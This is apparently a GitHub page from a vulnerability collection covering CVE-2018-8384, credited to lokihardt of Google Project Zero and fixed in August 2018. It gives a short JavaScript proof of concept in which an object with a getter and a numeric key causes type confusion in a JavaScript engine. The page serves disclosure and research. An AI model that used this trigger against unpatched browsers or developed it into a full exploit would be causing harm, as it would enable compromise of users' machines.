Skip to content

Latest commit

 

History

History
22 lines (16 loc) · 517 Bytes

CVE-2018-8384.md

File metadata and controls

22 lines (16 loc) · 517 Bytes

CVE-2018-8384

  • Fix: Aug 2018
  • Credit: lokihardt of Google Project Zero

PoC

let o = {
    get a() {},
    0: 0,  // Deoptimizing object header inlining
    a: 0x1234
};

o.a;  // Type confusion

Reference